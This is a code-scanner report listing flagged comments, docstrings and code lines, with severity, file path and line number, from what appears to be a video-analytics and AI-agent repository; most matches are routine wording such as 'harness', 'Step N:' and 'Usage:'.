| HIGH | …ges/vss_agents/src/vss_agents/video_analytics/tools.py | 344 | Find places semantically similar to the query using cached embeddings. Uses hardcoded parameters: | STRING |
| HIGH | …ges/vss_agents/src/vss_agents/video_analytics/utils.py | 29 | Validate ISO 8601 timestamp format with milliseconds and Z timezone. Expected format: YYYY-MM-DDTHH:MM:SS.sssZ | STRING |
| HIGH | …vss_agents/src/vss_agents/video_analytics/es_client.py | 69 | Get full index name with prefix. Args: index_key: Key from INDEXES dict Returns: | STRING |
| HIGH | …ges/vss_agents/src/vss_agents/utils/reasoning_utils.py | 79 | Returns the system prompt to use for thinking. For NVIDIA Nemotron, returns "/think" if enabled, else "/no_thin | STRING |
| HIGH | …packages/vss_agents/src/vss_agents/evaluators/utils.py | 100 | Check if an item should be evaluated by the specified evaluator type. Args: item: The evaluation input | STRING |
| HIGH | …packages/vss_agents/src/vss_agents/evaluators/utils.py | 140 | Parse the LLM output to extract score and reasoning. Args: response: The LLM response (can | STRING |
| HIGH | …ents/evaluators/report_evaluator/eval_config_models.py | 95 | Create EvalMetricsConfig from a dictionary with single root key. Args: config: Dictionary | STRING |
| HIGH | …luators/report_evaluator/field_evaluators/llm_judge.py | 103 | Invoke the LLM and parse the response. Args: prompt: The prompt to send to the LLM | STRING |
| 5 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tools/message-broker-consumers/base_consumer.py | 221 | # Redis returns bytes, just add it | COMMENT |
| MEDIUM⚡ | deploy/docker/scripts/tests/test_run_setup_notebook.py | 535 | # The harness documentation tells operators to export this before running the | COMMENT |
| MEDIUM | deploy/docker/services/ui/compose.yml | 27 | # configured harness endpoint is running on the Docker host. | COMMENT |
| MEDIUM | deploy/docker/test-scripts/test-dev-profile.sh | 1729 | # Every launchable profile exposes the same backend-neutral harness settings. | COMMENT |
| MEDIUM | deploy/helm/services/ui/values.yaml | 84 | # harness URL directly. | COMMENT |
| MEDIUM | libs/vss/cli/src/vss_cli/summarize/group.py | 642 | # other outcome -- a harness should not have to parse stderr prose | COMMENT |
| MEDIUM | libs/vss/cli/src/vss_cli/summarize/group.py | 689 | # harness to keep this answer instead of re-running the job. | COMMENT |
| MEDIUM⚡ | …i-data-utils/tests/visualization/test_visualization.py | 3763 | # robust-to-palette-tweaks check: the two renders must differ. | COMMENT |
| MEDIUM | .github/skills-review/consolidate.py | 95 | "## 🔬 Skills Review — 6-paradigm consolidation", | CODE |
| MEDIUM | .github/skills-review/review_findings.py | 34 | # Soft default category per paradigm (consolidation majority-vote overrides it). | COMMENT |
| MEDIUM | .github/skills-review/review_agent.py | 45 | # Which engine drives each paradigm. | COMMENT |
| MEDIUM⚡ | .github/skills-review/tests/test_review_findings.py | 97 | # same paradigm twice is NOT corroboration | COMMENT |
| MEDIUM⚡ | .github/skills-review/tests/test_review_findings.py | 116 | # lone critical -> verify; 3-paradigm medium -> no verify | COMMENT |
| MEDIUM | .github/skills-review/tests/test_plan_review_matrix.py | 100 | # every leg carries skill + paradigm + name | COMMENT |
| MEDIUM | .github/workflows/build-dev-images.yml | 269 | # VSS_REF pins the harness images (the only Dockerfiles declaring it) | COMMENT |
| MEDIUM | .github/workflows/helm-sync.yml | 6 | # diff (PR base ↔ HEAD) touches anything under deploy/ or this harness. | COMMENT |
| MEDIUM | .github/workflows/helm-sync.yml | 42 | # harness is synced over there) under repo Settings → Branches / | COMMENT |
| MEDIUM | .github/workflows/sonarqube.yml | 212 | # coverage harness in CI, so exclude them from the new-code coverage | COMMENT |
| MEDIUM | .github/workflows/skills-eval.yml | 14 | # operational harness/model selections | COMMENT |
| MEDIUM | .github/workflows/skills-eval.yml | 113 | # the next trial's own deploy step (the harness no longer pre-deploys or | COMMENT |
| MEDIUM | .github/workflows/skills-eval.yml | 390 | # harness via PYTHONPATH for `uvx harbor --environment-import-path`. | COMMENT |
| MEDIUM | .github/workflows/skills-eval-daily.yml | 23 | # but the full harness lives on `develop`: click "Run workflow", pick | COMMENT |
| MEDIUM | .github/workflows/skills-eval-daily.yml | 267 | # deploy main's code while the harness ran another revision. | COMMENT |
| MEDIUM | .github/workflows/skills-eval-daily.yml | 287 | # harness via PYTHONPATH for `uvx harbor --environment-import-path`. | COMMENT |
| MEDIUM | .github/workflows/vss-playbook-compliance.yml | 6 | # harness. Mirrors the helm-sync pattern: no top-level `paths:` filter | COMMENT |
| MEDIUM⚡ | .github/workflows/skills-review.yml | 4 | # Multi-paradigm skill review (ADVISORY). On a PR touching skills/**, or on | COMMENT |
| MEDIUM⚡ | .github/workflows/skills-review.yml | 6 | # cross-paradigm agreement + severity, and post a sticky PR comment + upload a | COMMENT |
| MEDIUM⚡ | .github/workflows/skills-review.yml | 11 | # SINGLE JOB by design. The per-(skill x paradigm) legs are pure LLM API calls | COMMENT |
| MEDIUM | .github/workflows/skills-review.yml | 67 | # Compute the (skill x paradigm) leg list; gate on changed skills. | COMMENT |
| MEDIUM | .github/osrb/test_osrb_sources.py | 252 | # The harness images pick the NGC archive with a shell variable | STRING |
| MEDIUM | .github/scripts/check_container_tag_source.py | 47 | # that bake a version in (VSS_PACKAGE_VERSION, or the harness VSS_REF fetch) | COMMENT |
| MEDIUM | .github/scripts/release_set.py | 361 | # the eval harness rather than by any compose file. | COMMENT |
| MEDIUM | .github/scripts/test_helm_release_channel_policy.py | 210 | # service; the harness images are consumed by `onboard --from` instead. | COMMENT |
| MEDIUM⚡ | .github/skill-eval/skills_eval_agent.py | 842 | # VSS profile it needs as part of its own first agent turn (the harness | COMMENT |
| MEDIUM⚡ | .github/skill-eval/skills_eval_agent.py | 845 | # step problem, not the harness's, and tools like | COMMENT |
| MEDIUM | .github/skill-eval/skills_eval_agent.py | 82 | # Hard cap on the agent's tool loop — one trial burns ~20-30 harness | COMMENT |
| MEDIUM | .github/skill-eval/skills_eval_agent.py | 732 | # it because they're treated as runtime/harness features. List them | COMMENT |
| MEDIUM | .github/skill-eval/plan_matrix.py | 398 | # else: harness file or unrelated path -> contributes nothing. | COMMENT |
| MEDIUM | .github/skill-eval/local_nim.py | 597 | # Exercise each harness protocol, so a healthy server with an incompatible | COMMENT |
| MEDIUM | .github/skill-eval/tests/test_vss_ask_video_adapter.py | 218 | assert "## Selected agent harness: NemoClaw" not in instruction | CODE |
| MEDIUM | …/adapters/vss-deploy-detection-tracking-2d/generate.py | 152 | # the harness should report distinctly from low-reward outcomes. | COMMENT |
| MEDIUM | .github/skill-eval/adapters/vss-ask-video/generate.py | 239 | "# OpenClaw Markdown recall is harness-owned and may be fixture-backed here.", | CODE |
| MEDIUM | …ub/skill-eval/adapters/vss-query-analytics/generate.py | 244 | # nothing in the harness reads them and this spec does not pre-deploy. | COMMENT |
| MEDIUM | …l-eval/adapters/vss-deploy-video-embedding/generate.py | 229 | "# cold rtvi-hf-cache pulls — forward if the harness provided it.", | CODE |
| MEDIUM | .github/skill-eval/envs/brev_env.py | 467 | # supplied by CI; the harness invokes the worker's NemoClaw CLI. | COMMENT |
| MEDIUM | .github/skill-eval/envs/brev_env.py | 489 | # create. No longer load-bearing now that the harness | COMMENT |
| MEDIUM | .github/skill-eval/envs/brev_env.py | 630 | # The harness intentionally does NOT pre-deploy any VSS profile | COMMENT |
| MEDIUM | .github/skill-eval/envs/tests/prove_mount_probe.sh | 8 | # Reproduces exactly what the harness `git clean` does mid-chain — delete | COMMENT |
| MEDIUM | skills/vss-build-vision-ai/scripts/stage_vss_src.py | 5 | # Stage the local checkout's harness inputs into a harness build context. | COMMENT |
| MEDIUM | skills/vss-build-vision-ai/scripts/stage_vss_src.py | 13 | # tree's harness inputs (STAGE_ROOTS below) into <harness>/.vss-src/, which | COMMENT |
| MEDIUM | skills/vss-build-vision-ai/scripts/stage_vss_src.py | 38 | # Everything the harness Dockerfiles consume from the VSS checkout. A unit | COMMENT |
| MEDIUM | …s/vss-build-vision-ai/scripts/resolve_service_graph.py | 64 | # An explicit request for any of them - a harness pointed at the build's own | COMMENT |
| MEDIUM | skills/vss-build-vision-ai/scripts/sync_skills.py | 7 | # it replaces): the OpenClaw plugin, the Hermes image, the harness Dockerfiles, | COMMENT |
| MEDIUM⚡ | …i/scripts/tests/test_analytics_composition_contract.py | 176 | # A harness pointed at the build's own NIM (route (a)) names the key. | COMMENT |
| MEDIUM | skills/operations/vss-search-archive/evals/search.json | 24 | "query": "Use `/vss-build-vision-ai` for the following deployment setup. Deploy the VSS **search** profile on `{{p | CODE |
| LOW | …oy-detection-tracking-2d/scripts/setup_tracker_reid.sh | 27 | # already in cache), just create the symlink so | COMMENT |
| MEDIUM | …oy-detection-tracking-2d/scripts/update_output_sink.sh | 28 | # 2 = MKV (matroska; DEFAULT — robust on abnormal | COMMENT |
| MEDIUM | …oy-detection-tracking-2d/scripts/update_output_sink.sh | 158 | # ── Container muxer: default = 2 (MKV, robust on abnormal exit) ─── | COMMENT |
| MEDIUM | …eploy-detection-tracking-2d/scripts/collect_metrics.sh | 68 | # `*_<8 digits>_<6 digits>.txt` so it's robust to use-case prefix | COMMENT |
| MEDIUM | …ss-evaluate-caption-accuracy/scripts/run_captioning.py | 351 | # better on every motion-heavy scene. Setting it from the harness would only | STRING |
| 50 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | …operations/warehouse-mv3dt-app/warehouse-mv3dt-app.yml | 111 | # embedding model (NGC) and the CLIP-ReID tracker ONNX. | COMMENT |
| MEDIUM | …arehouse-operations/vlm-as-verifier/configs/config.yml | 65 | # Beware that these parameters need to be set in accordance with the VLM max context window | COMMENT |
| MEDIUM | …rofiles/smartcities/vlm-as-verifier/configs/config.yml | 161 | # Beware that these parameters need to be set in accordance with the VLM max context window | COMMENT |
| MEDIUM | …erts/vlm-as-verifier/configs/EDGE-LOCAL-VLM-config.yml | 81 | # Beware that these parameters need to be set in accordance with the VLM max context window | COMMENT |
| MEDIUM | …/dev-profile-alerts/vlm-as-verifier/configs/config.yml | 154 | # Beware that these parameters need to be set in accordance with the VLM max context window | COMMENT |
| MEDIUM | …services/rtvi/rtvi-embed/rtvi-embed-docker-compose.yml | 16 | # Docker Compose for RTVI Embed microservice | COMMENT |
| MEDIUM | …ker/services/rtvi/rtvi-vlm/rtvi-vlm-docker-compose.yml | 16 | # Docker Compose for RTVI VLM microservice | COMMENT |
| MEDIUM | …search/init-scripts/elasticsearch-template-creation.sh | 532 | # embedding model reid-embed is configured with (SECONDARY_EMBEDDING_MODEL, | COMMENT |
| MEDIUM | deploy/docker/services/alert/README.md | 1 | # Alerts microservice (Compose definition) | COMMENT |
| MEDIUM | deploy/docker/services/agent/compose.yml | 131 | # Enterprise RAG (used by config_rag.yml when enabled) | COMMENT |
| MEDIUM | …y/helm/developer-profiles/dev-profile-base/values.yaml | 254 | # Enterprise RAG (used by config_rag.yml when enabled). Compose parity: | COMMENT |
| MEDIUM | …helm/developer-profiles/dev-profile-alerts/values.yaml | 303 | # Enterprise RAG defaults used by config_rag.yml when enabled. | COMMENT |
| MEDIUM | …helm/developer-profiles/dev-profile-search/values.yaml | 807 | # Enterprise RAG (used by config_rag.yml when enabled). Compose parity: | COMMENT |
| MEDIUM | …oy/helm/developer-profiles/dev-profile-lvs/values.yaml | 331 | # Enterprise RAG defaults used by config_rag.yml when enabled. | COMMENT |
| MEDIUM | deploy/helm/services/rtvi/charts/rtvi-vlm/values.yaml | 58 | # Disable only if you orchestrate ordering elsewhere. | COMMENT |
| MEDIUM | …rtvi/charts/reid-embed/templates/job-stage-models.yaml | 17 | # vss-reid-embed-init-mv3dt: the SigLIP2 secondary embedding model from NGC and | COMMENT |
| MEDIUM | deploy/helm/services/infra/charts/sdrc/values.yaml | 49 | # because SDRC is event-driven for it (WDM_INITIALIZE_FROM_VST) and the events | COMMENT |
| MEDIUM | …asticsearch/configs/elasticsearch-template-creation.sh | 532 | # embedding model reid-embed is configured with (SECONDARY_EMBEDDING_MODEL, | COMMENT |
| MEDIUM | deploy/helm/services/agent/charts/agent/values.yaml | 200 | # Enterprise RAG (used by config_rag.yml when enabled). Compose parity: | COMMENT |
| MEDIUM | libs/vss/pyproject.toml | 31 | "litellm>=1.84.0,<1.85", # Fix /guardrails/test_custom_code RCE + privilege escalation + JWT/OIDC userinfo ca | CODE |
| MEDIUM⚡ | …ialai_data_utils/eval/tracking/hota/trackeval_utils.py | 383 | # Per-BEV-sensor orchestration | COMMENT |
| MEDIUM⚡ | …-utils/spatialai_data_utils/eval/detection/evaluate.py | 399 | # Per-BEV-sensor orchestration (moved from eval/mtmc/detection/evaluate.py) | COMMENT |
| MEDIUM⚡ | …utils/tests/eval/tracking/hota/test_trackeval_utils.py | 788 | # (per-sensor scaffolding ended up under a directory called | COMMENT |
| MEDIUM | .github/workflows/sonarqube.yml | 220 | # orchestration functions, not shipped runtime code; S3776 there is | COMMENT |
| MEDIUM | .github/workflows/cleanup-pr-tags.yml | 6 | # Candidate tags are build scaffolding — pr-<N>-<sha12> immutable candidates and | COMMENT |
| MEDIUM⚡ | .github/skill-eval/verifiers/generic_judge.py | 62 | # the judge back toward unbounded Read (the exact hallucination trigger | COMMENT |
| MEDIUM⚡ | skills/vss-build-vision-ai/references/data-directory.md | 127 | # Warehouse only. This gate CREATES scaffolding, but warehouse also CONSUMES a | COMMENT |
| MEDIUM | …-vision-ai/references/services/sop/integrate-ds-sop.md | 136 | "${SOP_KIBANA_OBJECTS_URL:-https://raw.githubusercontent.com/NVIDIA/sop-monitoring-blueprints/0dd472f/agentic/ | CODE |
| MEDIUM | …ills/operations/vss-generate-video-report-rag/SKILL.md | 11 | # VSS Generate Video Report RAG — Video Analysis with Enterprise RAG | COMMENT |
| MEDIUM | …ills/operations/vss-generate-video-report-rag/SKILL.md | 19 | ## Enable Enterprise RAG on the LVS Profile | COMMENT |
| MEDIUM⚡ | …ills/operations/vss-generate-video-report-rag/SKILL.md | 66 | ### Step 3: Deploy the LVS profile with the RAG config | COMMENT |
| MEDIUM | …ills/operations/vss-generate-video-report-rag/SKILL.md | 139 | ## Workflow: Generate an LVS Report with Enterprise RAG | COMMENT |
| MEDIUM | …-video-io-storage/references/integrate-vios-service.md | 123 | # Sensor microservice — sibling-variant branching by sensor topology | COMMENT |
| MEDIUM | …edding/references/deploy-vss-deploy-video-embedding.md | 149 | # Confirm the embedding model is registered. | COMMENT |
| MEDIUM⚡ | …/vss-benchmark-video-summarization/scripts/config.yaml | 29 | # Backend URL — the LVS (Long Video Summarization) microservice endpoint. | COMMENT |
| MEDIUM | …k-video-summarization/scripts/single_file_benchmark.py | 478 | # The CA-RAG summarization sampling is set by the deployment config, not the | COMMENT |
| MEDIUM | services/rtvi/rt-vlm/tests/test_context_overflow.py | 29 | # Build a conversation that exceeds context window | COMMENT |
| MEDIUM | services/rtvi/rt-vlm/perf/setup_perf_env.sh | 440 | VLM_MAX_MODEL_LEN="${VLM_MAX_MODEL_LEN:-}" # model context window; leave empty for compose default | CODE |
| MEDIUM⚡ | …/rtvi/rt-vlm/perf/benchmark/rtvi_vlm_config_spark.yaml | 234 | # Average number of requests the microservice completes per second (RPS), | COMMENT |
| MEDIUM⚡ | …rtvi/rt-vlm/perf/benchmark/rtvi_vlm_config_jetson.yaml | 235 | # Average number of requests the microservice completes per second (RPS), | COMMENT |
| MEDIUM⚡ | …tvi/rt-vlm/perf/benchmark/rtvi_vlm_config_rtx_pro.yaml | 236 | # Average number of requests the microservice completes per second (RPS), | COMMENT |
| MEDIUM⚡ | …s/rtvi/rt-vlm/perf/benchmark/rtvi_vlm_config_test.yaml | 265 | # Average number of requests the microservice completes per second (RPS), | COMMENT |
| MEDIUM⚡ | …s/rtvi/rt-vlm/perf/benchmark/rtvi_vlm_config_h100.yaml | 236 | # Average number of requests the microservice completes per second (RPS), | COMMENT |
| MEDIUM⚡ | …s/rtvi/rt-vlm/perf/benchmark/rtvi_vlm_config_l40s.yaml | 237 | # Average number of requests the microservice completes per second (RPS), | COMMENT |
| MEDIUM | services/rtvi/rt-vlm/perf/benchmark/README.RTVI_VLM.md | 670 | ### 3. Request Throughput [Non-Streaming] - The average number of requests that the microservice can successfully comple | COMMENT |
| MEDIUM | services/rtvi/rt-cv-3d/rt-cv-mv3dt/tests/lib.sh | 24 | # stub_ds_api.py beside it are test-only scaffolding and are never installed on a | COMMENT |
| MEDIUM | services/rtvi/rt-cv-3d/reid-embed/README.md | 1 | # ReID Embed microservice | COMMENT |
| MEDIUM⚡ | services/rtvi/rt-cv-3d/reid-embed/src/config.py | 443 | # too small a one. It describes the embedding model's geometry rather than the | COMMENT |
| MEDIUM | services/alert/config.yaml | 155 | # Beware that these parameters need to be set in accordance with the VLM max context window | COMMENT |
| MEDIUM | services/alert/config.yaml | 323 | base_url: "http://localhost:8018/v1" # RTVI VLM microservice URL (env: RTVI_VLM_BASE_URL) | CODE |
| MEDIUM | …functional/p1/test_alert_config_concurrent_post/run.sh | 23 | # of truth" meaningful when the alerts microservice is scaled | COMMENT |
| MEDIUM | …t/blueprint_config/config_public_safety_blueprint.yaml | 59 | # Beware that these parameters need to be set in accordance with the VLM max context window | COMMENT |
| MEDIUM | …alert/blueprint_config/config_warehouse_blueprint.yaml | 67 | # Beware that these parameters need to be set in accordance with the VLM max context window | COMMENT |
| MEDIUM | …alert/blueprint_config/config_smartcity_blueprint.yaml | 68 | # Beware that these parameters need to be set in accordance with the VLM max context window | COMMENT |
| MEDIUM | services/alert/src/schemas/vlm_responses.py | 141 | # Default verification path produces ``info["reasoning"]`` (VLM chain-of-thought). | COMMENT |
| MEDIUM | services/agent/pyproject.toml | 65 | "litellm>=1.84.0,<1.85", # Fix /guardrails/test_custom_code RCE + privilege escalation + JWT/OIDC userinfo ca | CODE |
| MEDIUM | …ts/unit_test/video_analytics/test_tools_integration.py | 82 | embedding_model_name=None, # Disable embedding model for simpler tests | CODE |
| MEDIUM | …ent/packages/vss_agents/src/vss_agents/tools/search.py | 86 | # Default few-shot examples for query decomposition | COMMENT |
| MEDIUM | …packages/vss_agents/src/vss_agents/agents/top_agent.py | 1578 | # Use a shorter message for scratchpad and reasoning trace | COMMENT |
| MEDIUM | …packages/vss_agents/src/vss_agents/agents/top_agent.py | 1581 | # Yield tool call in reasoning trace for regular tools (even if we extracted a summary) | COMMENT |
| 10 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 624 | # Step 1: Collect all scenes | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 633 | # Step 2: Display all scenes | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 636 | # Step 3: Set global parameters | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 639 | # Step 4: Select scenes | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 642 | # Step 5: Display selected scenes with parameters | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 650 | # Step 6: Confirm and process | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 658 | # Step 7: Process all scenes | COMMENT |
| LOW | …utils/spatialai_data_utils/visualization/draw_utils.py | 167 | # Step 1: paint the (possibly translucent) background rectangle. | COMMENT |
| LOW | …utils/spatialai_data_utils/visualization/draw_utils.py | 182 | # Step 2: draw text on top of the (already-blended) rectangle. Text | COMMENT |
| LOW⚡ | …utils/spatialai_data_utils/eval/tracking/aic24_eval.py | 173 | # Step 1: Accumulate metric data for all classes and distance thresholds. | COMMENT |
| LOW⚡ | …utils/spatialai_data_utils/eval/tracking/aic24_eval.py | 200 | # Step 2: Aggregate metrics from the metric data. | COMMENT |
| LOW⚡ | …benchmark-video-summarization/scripts/run_benchmark.sh | 67 | # Step 1: Pre-flight checks | COMMENT |
| LOW⚡ | …benchmark-video-summarization/scripts/run_benchmark.sh | 79 | # Step 2: Start media server if not already running | COMMENT |
| LOW⚡ | …benchmark-video-summarization/scripts/run_benchmark.sh | 101 | # Step 3: Create Python venv if it doesn't exist | COMMENT |
| LOW⚡ | …benchmark-video-summarization/scripts/run_benchmark.sh | 115 | # Step 4: Install requirements if venv is new | COMMENT |
| LOW⚡ | …benchmark-video-summarization/scripts/run_benchmark.sh | 123 | # Step 5: Run the benchmark | COMMENT |
| LOW⚡ | …ed/src/models/vllm_compatible/vllm_compatible_model.py | 1160 | # Step 1: Strip leading/trailing whitespace | COMMENT |
| LOW⚡ | …ed/src/models/vllm_compatible/vllm_compatible_model.py | 1162 | # Step 2: Extract reasoning description | COMMENT |
| LOW⚡ | …ed/src/models/vllm_compatible/vllm_compatible_model.py | 1170 | # Step 3: Remove complete <think>...</think> block if found, otherwise handle orphan tags | COMMENT |
| LOW⚡ | …ed/src/models/vllm_compatible/vllm_compatible_model.py | 1178 | # Step 4: Remove <answer>, </answer>, <summary>, and </summary> tags, but keep their content | COMMENT |
| LOW⚡ | …ed/src/models/vllm_compatible/vllm_compatible_model.py | 1181 | # Step 4: Final cleanup (strip whitespace) | COMMENT |
| LOW⚡ | …public_files/model_executor/models/nano_nemotron_vl.py | 578 | # Step 2: Check if total tokens is within budget | COMMENT |
| LOW⚡ | …public_files/model_executor/models/nano_nemotron_vl.py | 585 | # Step 3: We're over budget, need to scale down | COMMENT |
| LOW | …public_files/model_executor/models/nano_nemotron_vl.py | 566 | # Step 1: Process each media with current token budget | COMMENT |
| LOW⚡ | …vlm/patches/evs_vllm_public_files/multimodal/inputs.py | 615 | # Step 1: Compute output shape | COMMENT |
| LOW⚡ | …vlm/patches/evs_vllm_public_files/multimodal/inputs.py | 625 | # Step 2: Create zero-initialized output tensor | COMMENT |
| LOW⚡ | …vlm/patches/evs_vllm_public_files/multimodal/inputs.py | 633 | # Step 3: Slice-assign each tensor to its proper position | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/setup_perf_env.sh | 718 | # Step 1: Validate prerequisites | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/setup_perf_env.sh | 850 | # Step 2: NTP clock synchronization check | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/setup_perf_env.sh | 921 | # Step 3: Platform detection and system cache cleaner | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/setup_perf_env.sh | 985 | # Step 4: Stage repository deployment or an explicit local VST package | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/setup_perf_env.sh | 1123 | # Step 5: Patch VST for configurable Redis port, PostgreSQL port, and VST ports | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/setup_perf_env.sh | 1439 | # Step 6: Prepare benchmark test videos | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/setup_perf_env.sh | 1522 | # Step 7: Detect host IP | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/setup_perf_env.sh | 1541 | # Step 8: Start nvstreamer, wait for it to be healthy, then start VST | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/setup_perf_env.sh | 1642 | # Step 9: Wait for VST live streams to become available | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/setup_perf_env.sh | 1695 | # Step 10: Create Python virtual environment | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/setup_perf_env.sh | 1719 | # Step 11: Inject live ports and stream URL into benchmark config | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/setup_perf_env.sh | 1784 | # Step 12: Generate .env.perf and start RTVI VLM service (compose.perf.yaml) | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/teardown_perf_env.sh | 73 | # Step 1: Stop RTVI VLM service | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/teardown_perf_env.sh | 91 | # Step 2: Stop VST | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/teardown_perf_env.sh | 103 | # Step 3: Stop nvstreamer | COMMENT |
| LOW⚡ | services/rtvi/rt-vlm/perf/teardown_perf_env.sh | 115 | # Step 4: Stop sys_cache_cleaner | COMMENT |
| LOW⚡ | …lm/src/models/vllm_compatible/vllm_compatible_model.py | 1951 | # Step 1: Strip leading/trailing whitespace | COMMENT |
| LOW⚡ | …lm/src/models/vllm_compatible/vllm_compatible_model.py | 1953 | # Step 2: Extract reasoning description | COMMENT |
| LOW⚡ | …lm/src/models/vllm_compatible/vllm_compatible_model.py | 1961 | # Step 3: Remove complete <think>...</think> block if found, otherwise handle orphan tags | COMMENT |
| LOW⚡ | …lm/src/models/vllm_compatible/vllm_compatible_model.py | 1971 | # Step 4: Remove <answer>, </answer>, <summary>, and </summary> tags, but keep their content | COMMENT |
| LOW⚡ | …lm/src/models/vllm_compatible/vllm_compatible_model.py | 1974 | # Step 4: Final cleanup (strip whitespace) | COMMENT |
| LOW | …bed/src/cluster_sampling/sample_and_extract_patches.py | 934 | # Step 2: Remove outliers | COMMENT |
| LOW | …bed/src/cluster_sampling/sample_and_extract_patches.py | 962 | # Step 3: Cosine pruning | COMMENT |
| LOW | …bed/src/cluster_sampling/sample_and_extract_patches.py | 1102 | # Step 1: Load data | COMMENT |
| LOW⚡ | …3d/reid-embed/src/cluster_sampling/example_workflow.sh | 39 | # Step 1: Dump embeddings | COMMENT |
| LOW⚡ | …3d/reid-embed/src/cluster_sampling/example_workflow.sh | 49 | # Step 2: Sample embeddings | COMMENT |
| LOW | …vi/rt-cv-3d/reid-embed/src/cluster_manager/affinity.py | 100 | # Step 2: k-reciprocal neighborhood expansion | COMMENT |
| LOW⚡ | …vi/rt-cv-3d/reid-embed/src/cluster_manager/affinity.py | 121 | # Step 3: k2-NN query expansion | COMMENT |
| LOW⚡ | …vi/rt-cv-3d/reid-embed/src/cluster_manager/affinity.py | 128 | # Step 4: Jaccard distance. Double-block both rows and columns so the | COMMENT |
| LOW⚡ | …vi/rt-cv-3d/reid-embed/src/cluster_manager/affinity.py | 150 | # Step 5: blend and produce affinity | COMMENT |
| LOW⚡ | …vi/rt-cv-3d/reid-embed/src/cluster_manager/affinity.py | 157 | # Step 6: apply cannot-merge constraints. Each pair must hold exactly | COMMENT |
| LOW⚡ | …es/vst/calibration-steps/CalibrationDataManagement.tsx | 219 | // Step 1: Convert lat/lng to x/y (ReactJS convertLatLngToXY function) | COMMENT |
| LOW⚡ | …es/vst/calibration-steps/CalibrationDataManagement.tsx | 225 | // Step 2: Apply padding (ReactJS padCoordinates function) | COMMENT |
| 62 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …/services/rtvi/reid-embed/download-embedding-models.sh | 35 | # Usage: | COMMENT |
| LOW | deploy/docker/services/infra/sdrc/clean.sh | 21 | # Usage: | COMMENT |
| LOW | …profiles/dev-profile-search/values-build-endpoint.yaml | 31 | # Usage: | COMMENT |
| LOW | …vices/rtvi/charts/rtvi-embed/overrides_rtvi_embed.yaml | 8 | # Usage: | COMMENT |
| LOW | …i/charts/reid-embed/files/download-embedding-models.sh | 35 | # Usage: | COMMENT |
| LOW | .github/scripts/check_large_files_lfs.sh | 12 | # Usage: | COMMENT |
| LOW | …ploy-detection-tracking-2d/scripts/run_app_and_wait.sh | 12 | # Usage: | COMMENT |
| LOW | …ection-tracking-2d/scripts/prelaunch_nvinfer_engine.sh | 21 | # Usage: | COMMENT |
| LOW | …oy-detection-tracking-2d/scripts/apply_in_container.sh | 15 | # Usage: | COMMENT |
| LOW | …-detection-tracking-2d/scripts/cache_nvinfer_engine.sh | 18 | # Usage: | COMMENT |
| LOW | …loy-detection-tracking-2d/scripts/update_batch_size.sh | 11 | # Usage: | COMMENT |
| LOW | …etection-tracking-2d/scripts/start_app_in_container.sh | 16 | # Usage: | COMMENT |
| LOW | …detection-tracking-2d/scripts/synthesize_docker_run.sh | 18 | # Usage: | COMMENT |
| LOW | …deploy-detection-tracking-2d/scripts/setup_sparse4d.sh | 11 | # Usage: | COMMENT |
| LOW | …oy-detection-tracking-2d/scripts/setup_tracker_reid.sh | 35 | # Usage: | COMMENT |
| LOW | …ss-deploy-detection-tracking-2d/scripts/setup_gdino.sh | 11 | # Usage: | COMMENT |
| LOW | …oy-detection-tracking-2d/scripts/update_output_sink.sh | 13 | # Usage: | COMMENT |
| LOW | …oy-detection-tracking-2d/scripts/clean_engine_cache.sh | 25 | # Usage: | COMMENT |
| LOW | …y-detection-tracking-2d/scripts/check_container_gpu.sh | 23 | # Usage: | COMMENT |
| LOW | …vss-deploy-detection-tracking-2d/scripts/render_box.sh | 20 | # Usage: | COMMENT |
| LOW | …-detection-tracking-2d/scripts/write_deployment_log.sh | 25 | # Usage: | COMMENT |
| LOW | …eploy-detection-tracking-2d/scripts/collect_metrics.sh | 15 | # Usage: | COMMENT |
| LOW | …-benchmark-video-summarization/scripts/fetch-videos.sh | 8 | # Usage: | COMMENT |
| LOW | …vices/rtvi/rt-embed/tests/redis/test_redis_consumer.py | 20 | # Usage: | COMMENT |
| LOW | …ices/rtvi/rt-embed/tests/redis/test_redis_publisher.py | 20 | # Usage: | COMMENT |
| LOW | …vices/rtvi/rt-embed/tests/kafka/test_kafka_consumer.py | 20 | # Usage: | COMMENT |
| LOW | services/rtvi/rt-vlm/docker/compose.perf.yaml | 25 | # Usage: | COMMENT |
| LOW | services/rtvi/rt-vlm/tests/redis/test_redis_consumer.py | 20 | # Usage: | COMMENT |
| LOW | …rvices/rtvi/rt-vlm/tests/redis/test_redis_publisher.py | 20 | # Usage: | COMMENT |
| LOW | services/rtvi/rt-vlm/tests/kafka/test_kafka_consumer.py | 20 | # Usage: | COMMENT |
| LOW | …/rtvi/rt-cv-3d/rt-cv-mv3dt/scripts/generate-configs.sh | 30 | # Usage: | COMMENT |
